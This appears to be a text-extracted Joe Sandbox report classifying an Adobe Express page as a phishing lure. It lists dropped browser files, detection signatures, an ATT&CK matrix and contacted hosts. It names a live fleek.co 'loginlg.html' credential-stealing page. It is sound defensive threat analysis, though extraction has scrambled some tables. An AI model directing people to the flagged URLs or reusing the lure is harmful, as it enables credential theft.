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Created / dropped Files
C:\Users\user\AppData\Local\Google\Chrome\User Data\05c7e28c-2c44-4de2-8fe9-9e5f2127adc6.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\5a5b7c92-cbff-4218-9d19-ef0285cd1ada.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\617138bb-5c14-42dc-bcfc-571be3baf180.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\7375f7e6-e90a-43cc-9f19-b84489d49712.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\7522da09-77e7-4b73-8b0a-6e1b1a88d4cb.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\84e12f83-f77c-4f0f-83a8-383c2d6478e5.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\9cb3c522-45f3-4a68-b2e9-14341f5e35c2.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\00f72e28-6829-49eb-8a1a-5518f8e111c4.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\04253e22-fdcc-46e9-b6a7-8a082598dc17.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\113bc00b-f850-4425-a2c1-2094a8b8199a.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\14b7a7ac-d93a-4024-a464-58c76dd3fe3f.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\46e181a6-417b-4ca0-a1f7-4d79b32f0c24.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\5bc4a97b-6e5c-43db-b045-a66004d19f8a.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\5d6ea54c-e019-4ce6-9e3e-3cb5b4fcf7c6.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\5d88e26a-4428-4400-a0c1-3a8666091e63.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\6b723081-41ee-406a-9d07-5e26f815dac8.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\6fb9b38f-b0ab-489b-8a84-cea8d807f9f2.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\77850723-ea89-4f46-b2ee-9fadb09d5251.tmp
C:\Users\user\AppData\Local\Google\Chrome\User

Copyright Joe Security LLC 2022 Page 2 of 95



19
19
19
20
20
20

21

21

21

22

22

22

23

23

23

24

24

24
24
25
25
25
26
26
26
27
27
27
28
28
28
29
29
29
30
30
30
31
31
31
32
32

33
33
33
34
34
34
35
35
35
36
36
36
37
37
37
38
38

32

Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_1\_metadata\computed_hashes.json
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Google Profile.ico (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\54e3e1bd-
ccbb-4427-be2a-ad4e4c511469.tmp
C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\data_1
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Network
Persistent State (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session
Storage\000001.dbtmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session
Storage\CURRENT (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session
Storage\MANIFEST-000001
C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\536d52c7-27ae-4f8b-9853-eb6680e3d592.tmp
C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network
Persistent State (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session
Storage\000001.dbtmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session
Storage\CURRENT (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session
Storage\MANIFEST-000001
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\TransportSecurity (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\ad7e5961-9dca-4791-826a-6f3fb69ad524.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\d23c8ee6-95fd-4f26-8939-1c0dee8aab79.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\d8a5cbbf-d8f0-4e1c-a6f0-a4420a8cea6a.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000006.dbtmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\CURRENT (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\e8cdf010-d3b8-4ca1-beb3-db562a5aa3f3.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Browser
C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Version
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Module Info Cache (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\b3873545-70ba-43e3-b382-3bd22cae4503.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\b3eb5e42-9b04-4d50-9aa7-3e5640318448.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\cc1f8062-5cc0-4aa0-ae9e-477ccb5b5728.tmp
C:\Users\user\AppData\Local\Temp\687ff700-9fde-4176-98e1-c382adb47f00.tmp
C:\Users\user\AppData\Local\Temp\7300_15114805\_metadata\verified_contents.json
C:\Users\user\AppData\Local\Temp\7300_15114805\_platform_specific\x86_64\pnacl_public_pnacl_json
C:\Users\user\AppData\Local\Temp\7300_15114805\_platform_specific\x86_64\pnacl_public_x86_64_crtbegin_for_eh_o
C:\Users\user\AppData\Local\Temp\7300_15114805\_platform_specific\x86_64\pnacl_public_x86_64_crtbegin_o
C:\Users\user\AppData\Local\Temp\7300_15114805\_platform_specific\x86_64\pnacl_public_x86_64_crtend_o
C:\Users\user\AppData\Local\Temp\7300_15114805\_platform_specific\x86_64\pnacl_public_x86_64_ld_nexe
C:\Users\user\AppData\Local\Temp\7300_15114805\_platform_specific\x86_64\pnacl_public_x86_64_libcrt_platform_a
C:\Users\user\AppData\Local\Temp\7300_15114805\_platform_specific\x86_64\pnacl_public_x86_64_libgcc_a
C:\Users\user\AppData\Local\Temp\7300_15114805\_platform_specific\x86_64\pnacl_public_x86_64_libpnacl_irt_shim_a
C:\Users\user\AppData\Local\Temp\7300_15114805\_platform_specific\x86_64\pnacl_public_x86_64_libpnacl_irt_shim_dummy_a
C:\Users\user\AppData\Local\Temp\7300_15114805\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_llc_nexe
C:\Users\user\AppData\Local\Temp\7300_15114805\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_sz_nexe
C:\Users\user\AppData\Local\Temp\7300_15114805\manifest.fingerprint
C:\Users\user\AppData\Local\Temp\7300_15114805\manifest.json
C:\Users\user\AppData\Local\Temp\7e04cba9-b1b9-4ded-aedc-b5782d12f4a7.tmp
C:\Users\user\AppData\Local\Temp\88509d69-c4b3-4c38-9e90-ddd518f9f873.tmp
C:\Users\user\AppData\Local\Temp\8ffd3e75-9f82-465f-a511-4d5792347fcf.tmp
C:\Users\user\AppData\Local\Temp\9daadd19-6c4f-4d99-a980-c126b16fa3a7.tmp
C:\Users\user\AppData\Local\Temp\c4808905-f2b0-473c-87e2-5f1ed0405d42.tmp
C:\Users\user\AppData\Local\Temp\eb48b912-8c05-454f-8f20-7beac43f9bdb.tmp
C:\Users\user\AppData\Local\Temp\fa0e2ff2-05dc-4826-9773-29d5e1df6ad5.tmp
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\8ffd3e75-9f82-465f-a511-4d5792347fcf.tmp
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\bg\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\ca\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\cs\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\da\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\de\messages.json
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C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\el\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\en\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\en_GB\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\es\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\es_419\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\et\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\fi\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\fil\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\fr\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\hi\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\hr\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\hu\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\id\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\it\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\ja\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\ko\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\lt\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\lv\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\nb\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\nl\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\pl\messages.json

Static File Info
Network Behavior

Network Port Distribution
TCP Packets
UDP Packets
DNS Queries
DNS Answers
HTTP Request Dependency Graph
HTTPS Proxied Packets

Statistics
Behavior

System Behavior
Analysis Process: chrome.exePID: 7300, Parent PID: 2524

General
File Activities
Registry Activities

Key Value Modified

Analysis Process: chrome.exePID: 5468, Parent PID: 7300
General
File Activities

Disassembly
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Windows Analysis Report 
https://express.adobe.com/page/vCTYm3h0r9BmZ/

Overview

General Information

Sample URL:
https://express.adobe.com
/page/vCTYm3h0r9BmZ/

Analysis ID: 634974

Infos:

Detection

HTMLPhisher

Score: 80

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Phishing site detected (based on fav…

Multi AV Scanner detection for dom…

Yara detected HtmlPhish10

Antivirus detection for URL or domain

Phishing site detected (based on log…

Phishing site detected (based on im…

Invalid 'forgot password' link found

HTML body contains low number of …

No HTML title found

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is start

chrome.exe (PID: 7300 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation --single-argument https://express.a

dobe.com/page/vCTYm3h0r9BmZ/ MD5: 74859601FB4BEEA84B40D874CCB56CAB)
chrome.exe (PID: 5468 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-

handle=1720,2768340297302204061,425894217471660703,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 /prefetch:8 MD5:
74859601FB4BEEA84B40D874CCB56CAB)

cleanup

⊘ No configs have been found

Source Rule Description Author Strings

56049.1.pages.csv JoeSecurity_HtmlP
hish_10

Yara detected 
HtmlPhish_10

Joe Security

⊘ No Sigma rule has matched

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures
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AV Detection

Phishing

⊘ No Snort rule has matched
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Manageme
nt
Instrument
ation

Path
Interceptio
n

1
Process
Injection

1
Masqueradi
ng

OS
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System
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Remote
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Over Other
Network
Medium
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on Insecure
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ation

Remotely
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Device
Without
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on

Modify
System
Partition

Default
Accounts
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Task/Job

Boot or
Logon
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n Scripts

Boot or
Logon
Initializatio
n Scripts

1
Process
Injection

LSASS
Memory

Application
Window
Discovery

Remote
Desktop
Protocol

Data from
Removable
Media

Exfiltration
Over
Bluetooth

3
Non-
Application
Layer
Protocol

Exploit SS7
to Redirect
Phone
Calls/SMS

Remotely
Wipe Data
Without
Authorizati
on

Device
Lockout

Domain
Accounts

At (Linux) Logon
Script
(Windows)

Logon
Script
(Windows)

Obfuscated
Files or
Information

Security
Account
Manager

Query
Registry

SMB/Wind
ows Admin
Shares

Data from
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Shared
Drive

Automated
Exfiltration

4
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Exploit SS7
to Track
Device
Location

Obtain
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Cloud
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Device
Data
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Binary
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Discovery

Distributed
Component
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Model

Input
Capture

Scheduled
Transfer

1
Ingress
Tool
Transfer

SIM Card
Swap

Carrier
Billing
Fraud

Snort Signatures

Joe Sandbox Signatures

Multi AV Scanner detection for domain / URL

Antivirus detection for URL or domain

Phishing site detected (based on favicon image match)

Yara detected HtmlPhish10

Phishing site detected (based on logo template match)

Phishing site detected (based on image similarity)

Mitre Att&ck Matrix

Behavior Graph
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Behavior Graph
ID: 634974

URL: https://express.adobe.com/p...

Startdate: 27/05/2022

Architecture: WINDOWS

Score: 80

page.adobespark-assets.com i.gyazo.com 2 other IPs or domains

Multi AV Scanner detection
for domain / URL

Antivirus detection
for URL or domain

Phishing site detected
(based on favicon image

match)
3 other signatures

chrome.exe

18 287

        started       

192.168.2.1

unknown

unknown

239.255.255.250

unknown

Reserved

C:\...\pnacl_public_x86_64_pnacl_sz_nexe, ELF

dropped

C:\...\pnacl_public_x86_64_pnacl_llc_nexe, ELF

dropped

C:\Users\user\...\pnacl_public_x86_64_ld_nexe, ELF

dropped

chrome.exe

43

        started       

storageapi.fleek.co

104.18.7.145, 443, 59093, 59605

CLOUDFLARENETUS

United States

accounts.google.com

142.250.186.109, 443, 54801

GOOGLEUS

United States

11 other IPs or domains

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots

Thumbnails
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Source Detection Scanner Label Link

https://express.adobe.com/page/vCTYm3h0r9BmZ/ 0% Virustotal Browse

https://express.adobe.com/page/vCTYm3h0r9BmZ/ 0% Avira URL Cloud safe

Source Detection Scanner Label Link

C:\Users\user\AppData\Local\Temp\7300_15114805\_platform_specific\x86_64\pnacl_public_x86_
64_ld_nexe

0% Metadefender Browse

C:\Users\user\AppData\Local\Temp\7300_15114805\_platform_specific\x86_64\pnacl_public_x86_
64_ld_nexe

0% ReversingLabs

C:\Users\user\AppData\Local\Temp\7300_15114805\_platform_specific\x86_64\pnacl_public_x86_
64_pnacl_llc_nexe

0% Metadefender Browse

C:\Users\user\AppData\Local\Temp\7300_15114805\_platform_specific\x86_64\pnacl_public_x86_
64_pnacl_llc_nexe

0% ReversingLabs

C:\Users\user\AppData\Local\Temp\7300_15114805\_platform_specific\x86_64\pnacl_public_x86_
64_pnacl_sz_nexe

0% Metadefender Browse

C:\Users\user\AppData\Local\Temp\7300_15114805\_platform_specific\x86_64\pnacl_public_x86_
64_pnacl_sz_nexe

0% ReversingLabs

⊘ No Antivirus matches

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Copyright Joe Security LLC 2022 Page 8 of 95

https://www.virustotal.com/gui/url/c985705887e122a723a10ff30e12cbb3a07a4099f9dce347aeebaddd27869d9a/detection/u-c985705887e122a723a10ff30e12cbb3a07a4099f9dce347aeebaddd27869d9a-1653368526
https://www.metadefender.com/#!/results/file/bzIyMDQwM29LMEVDNWVzU1NUcjVMWl9yN2U/regular/analysis
https://www.metadefender.com/#!/results/file/bzIyMDIwN1VUZHdoT3ZHM0QwX2tlMk51MHo/regular/analysis
https://www.metadefender.com/#!/results/file/bzIyMDIwOTNRdXBKT0h5YU53TklPTDU2b3Bs/regular/analysis


Source Detection Scanner Label Link

express-prod.adobeprojectm.com 0% Virustotal Browse

storageapi.fleek.co 9% Virustotal Browse

cs1227.wpc.alphacdn.net 0% Virustotal Browse

page.adobespark-assets.com 0% Virustotal Browse

Source Detection Scanner Label Link

https://storageapi.fleek.co/84e74610-b8bb-4d6b-b394-8b4c2ffd51df-bucket/loginlg.html 100% SlashNext Credential Stealing 
type: Phishing & 
Social Engineering

Name IP Active Malicious Antivirus Detection Reputation

accounts.google.com 142.250.186.109 true false high

cdnjs.cloudflare.com 104.17.24.14 true false high

i.gyazo.com 104.18.36.4 true false high

express-prod.adobeprojectm.com 13.32.99.29 true false 0%, Virustotal, Browse unknown

storageapi.fleek.co 104.18.7.145 true true 9%, Virustotal, Browse unknown

cs1227.wpc.alphacdn.net 192.229.221.185 true false 0%, Virustotal, Browse unknown

clients.l.google.com 142.250.186.110 true false high

unpkg.com 104.16.124.175 true false high

page.adobespark-assets.com 108.138.17.129 true false 0%, Virustotal, Browse unknown

use.typekit.net unknown unknown false high

clients2.google.com unknown unknown false high

p.typekit.net unknown unknown false high

Name Malicious Antivirus Detection Reputation

https://clients2.google.com/service/update2/crx?
os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-
64&prod=chromecrx&prodchannel=&prodversion=92.0.4515.107&lang=en-
US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26install
edby%3Dother%26uc%26ping%3Dr%253D-
1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby
%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1

false high

https://i.gyazo.com/214d89a26f0ac918a09f216a1b0f97b4.png false high

https://storageapi.fleek.co/84e74610-b8bb-4d6b-b394-8b4c2ffd51df-bucket/loginlg.html true SlashNext: Credential Stealing type: Phishing & 
Social Engineering

unknown

https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard false high

https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js false high

https://unpkg.com/axios/dist/axios.min.js false high

https://storageapi.fleek.co/84e74610-b8bb-4d6b-b394-8b4c2ffd51df-bucket/loginlg.html true SlashNext: Credential Stealing type: Phishing & 
Social Engineering

unknown

https://unpkg.com/axios@0.27.2/dist/axios.min.js false high

Name Source Malicious Antivirus Detection Reputation

https://github.com/google/closure-
library/wiki/goog.module:-an-ES6-module-like-
alternative-to-goog.p

craw_background.js.0.dr, craw_window.js.0.dr false high

https://www.google.com/intl/en-
US/chrome/blank.html

craw_background.js.0.dr false high

https://ogs.google.com d8a5cbbf-d8f0-4e1c-a6f0-a4420a8cea6a.tmp.1.dr, 113
bc00b-f850-4425-a2c1-2094a8b8199a.tmp.1.dr

false high

https://www.google.com/images/cleardot.gif craw_window.js.0.dr false high

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries
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https://www.virustotal.com/gui/url/4ec8638f932a82475a42ef3bd8b7ea9805c36198a09571abdb322ce7b05d82b2/detection/u-4ec8638f932a82475a42ef3bd8b7ea9805c36198a09571abdb322ce7b05d82b2-1649085570
https://www.virustotal.com/gui/url/490b5ae3a2eb3c0dede6f093df9ee72b742764f94c78d569c02ad6a1698c21de/detection/u-490b5ae3a2eb3c0dede6f093df9ee72b742764f94c78d569c02ad6a1698c21de-1653582800
https://www.virustotal.com/gui/url/e07863bd42cf248ee6c691a2a0bddc0fe6f3c99848c84447ad878d9a5a2aa072/detection/u-e07863bd42cf248ee6c691a2a0bddc0fe6f3c99848c84447ad878d9a5a2aa072-1646411585
https://www.virustotal.com/gui/url/7b36406d09ff61d52146f4b31d08e43796dca87ec8abe93523df54a2fef28be7/detection/u-7b36406d09ff61d52146f4b31d08e43796dca87ec8abe93523df54a2fef28be7-1653460215
https://www.virustotal.com/gui/url/4ec8638f932a82475a42ef3bd8b7ea9805c36198a09571abdb322ce7b05d82b2/detection/u-4ec8638f932a82475a42ef3bd8b7ea9805c36198a09571abdb322ce7b05d82b2-1649085570
https://www.virustotal.com/gui/url/490b5ae3a2eb3c0dede6f093df9ee72b742764f94c78d569c02ad6a1698c21de/detection/u-490b5ae3a2eb3c0dede6f093df9ee72b742764f94c78d569c02ad6a1698c21de-1653582800
https://www.virustotal.com/gui/url/e07863bd42cf248ee6c691a2a0bddc0fe6f3c99848c84447ad878d9a5a2aa072/detection/u-e07863bd42cf248ee6c691a2a0bddc0fe6f3c99848c84447ad878d9a5a2aa072-1646411585
https://www.virustotal.com/gui/url/7b36406d09ff61d52146f4b31d08e43796dca87ec8abe93523df54a2fef28be7/detection/u-7b36406d09ff61d52146f4b31d08e43796dca87ec8abe93523df54a2fef28be7-1653460215


https://payments.google.com/payments/v4/js/integrator
.js

craw_window.js.0.dr, manifest.json.0.dr false high

https://chromium.googlesource.com/a/native_client/pn
acl-llvm.git

pnacl_public_x86_64_crtbegin_for_eh_o.0.dr false high

https://sandbox.google.com/payments/v4/js/integrator.j
s

craw_window.js.0.dr, manifest.json.0.dr false high

https://www.google.com/images/x2.gif craw_window.js.0.dr false high

https://accounts.google.com/MergeSession craw_window.js.0.dr false high

llvm.org/): pnacl_public_x86_64_pnacl_llc_nexe.0.dr, pnacl_pub
lic_x86_64_pnacl_sz_nexe.0.dr

false high

https://www.google.com d8a5cbbf-d8f0-4e1c-a6f0-a4420a8cea6a.tmp.1.dr, 113
bc00b-f850-4425-a2c1-2094a8b8199a.tmp.1.dr

false high

https://www.google.com/images/dot2.gif craw_window.js.0.dr false high

https://code.google.com/p/nativeclient/issues/entry%s:
pnacl_public_x86_64_ld_nexe.0.dr false high

https://code.google.com/p/nativeclient/issues/entry
pnacl_public_x86_64_ld_nexe.0.dr false high

https://accounts.google.com d8a5cbbf-d8f0-4e1c-a6f0-a4420a8cea6a.tmp.1.dr, 113
bc00b-f850-4425-a2c1-2094a8b8199a.tmp.1.dr

false high

https://clients2.googleusercontent.com d8a5cbbf-d8f0-4e1c-a6f0-a4420a8cea6a.tmp.1.dr, 113
bc00b-f850-4425-a2c1-2094a8b8199a.tmp.1.dr

false high

https://apis.google.com d8a5cbbf-d8f0-4e1c-a6f0-a4420a8cea6a.tmp.1.dr, 113
bc00b-f850-4425-a2c1-2094a8b8199a.tmp.1.dr

false high

https://www.google.com/accounts/OAuthLogin?
issueuberauth=1

craw_window.js.0.dr false high

https://www.google.com/ manifest.json.0.dr false high

https://www-googleapis-
staging.sandbox.google.com

craw_background.js.0.dr, craw_window.js.0.dr false high

https://chromium.googlesource.com/a/native_client/pn
acl-clang.git

pnacl_public_x86_64_crtbegin_for_eh_o.0.dr false high

https://clients2.google.com d8a5cbbf-d8f0-4e1c-a6f0-a4420a8cea6a.tmp.1.dr, 113
bc00b-f850-4425-a2c1-2094a8b8199a.tmp.1.dr

false high

https://clients2.google.com/service/update2/crx manifest.json0.0.dr, manifest.json.0.dr false high

Name Source Malicious Antivirus Detection Reputation

No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

World Map of Contacted IPs

Public IPs
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IP Domain Country Flag ASN ASN Name Malicious

104.17.24.14 cdnjs.cloudflare.com United States 13335 CLOUDFLARENETUS false

104.18.7.145 storageapi.fleek.co United States 13335 CLOUDFLARENETUS true

13.32.99.29 express-
prod.adobeprojectm.com

United States 16509 AMAZON-02US false

142.250.186.109 accounts.google.com United States 15169 GOOGLEUS false

239.255.255.250 unknown Reserved unknown unknown false

192.229.221.185 cs1227.wpc.alphacdn.net United States 15133 EDGECASTUS false

104.16.124.175 unpkg.com United States 13335 CLOUDFLARENETUS false

142.250.186.110 clients.l.google.com United States 15169 GOOGLEUS false

108.138.17.129 page.adobespark-
assets.com

United States 16509 AMAZON-02US false

104.18.36.4 i.gyazo.com United States 13335 CLOUDFLARENETUS false

IP

192.168.2.1

127.0.0.1

Joe Sandbox Version: 34.0.0 Boulder Opal

Analysis ID: 634974

Start date and time: 27/05/202208:44:09 2022-05-27 08:44:09 +02:00

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 4m 34s

Hypervisor based Inspection enabled: false

Report type: light

Cookbook file name: defaultwindowsinteractivecookbook.jbs

Sample URL: https://express.adobe.com/page/vCTYm3h0r9BmZ/

Number of analysed new started processes 
analysed:

18

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal80.phis.win@28/131@11/12

EGA Information: Failed

HDC Information: Failed

HCA Information: Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, CompPkgSrv.exe, WMIADAP.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe
TCP Packets have been reduced to 100
Created / dropped Files have been reduced to 100
Excluded IPs from analysis (wh itelisted): 172.217.18.99, 142 .250.186.46, 74.125.108.199, 92.123.225.51, 92.123.225.18, 92.123.195.51, 92.123.195.90, 142.250.186.42, 142.251.36.131,
142.250.185.163, 142.250.184.206, 142.250.186.170, 216.58.212.170
Excluded domains from analysis (whitelisted): fp.msedge.net, logincdn.msauth.net, r2.sn-1gi7znek.gvt1.com, slscr.update.microsoft.com, clientservices.googleapis.com, fp-afd-nocache-
ccp.azureedge.net, arc.msn.com, r5---sn-1gi7znek.gvt1.com, a1874.dscg1.akamai.net, spo-ring.msedge.net, redirector.gvt1.com, use-stls.adobe.com.edgesuite.net, login.live.com, upda
te.googleapis.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, www.gstatic.com, www.bing.com, client.wns.windows.com, fs.microsoft.com, l-
ring.msedge.net, content-autofill.googleapis.com, ajax.googleapis.com, express.adobe.com, lgincdnvzeuno.ec.azureedge.net, ctldl.windowsupdate.com, r2---sn-1gi7znek.gvt1.com,
p.typekit.net-stls-v3.edgesuite.net, lgincdnvzeuno.azureedge.net, ris.api.iris.microsoft.com, lgincdn.trafficmanager.net, nexusrules.officeapps.live.com, a1988.dscg1.akamai.net

Private

General Information

Warnings
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Not all processes where analyzed, report is missing behavior  information
Report size getting too big, t oo many NtCreateFile calls found.
Report size getting too big, t oo many NtOpenFile calls found.
Report size getting too big, t oo many NtSetInformationFile calls found.
Report size getting too big, t oo many NtWriteVirtualMemory calls found.

⊘ No simulations

⊘ No context

⊘ No context

⊘ No context

⊘ No context

⊘ No context

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 109764

Entropy (8bit): 6.065419039497741

Encrypted: false

SSDEEP: 1536:Q+Gqu0XGM1CCHq42oiVfqchXJlAL3VYhLoAwgJyvjwf0hCsjUtjOjXMWu:Q+7XTCCHq44gMY3VYhtyUf2RgyjXa

MD5: 9B8192114779AB14DC306AC5F43D17C0

SHA1: ECA18620994D6DBE857BB2DA2E2449FD261EB696

SHA-256: 3C5ADBBB3D77795DA976C63A0C212E7A6CE98271602D6A0A4E97BAA17B7F7998

SHA-512: 55BDD8F9DF594BA191D8284FA0FE7C798DBEE70C9DBBF5CE4DC434757E26470B5DF0A3B858A878A904AFC551EFEBCE37B1E5B6C9B5D9E5151A55FDD1CCB2
824B

Malicious: false

Reputation: low

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

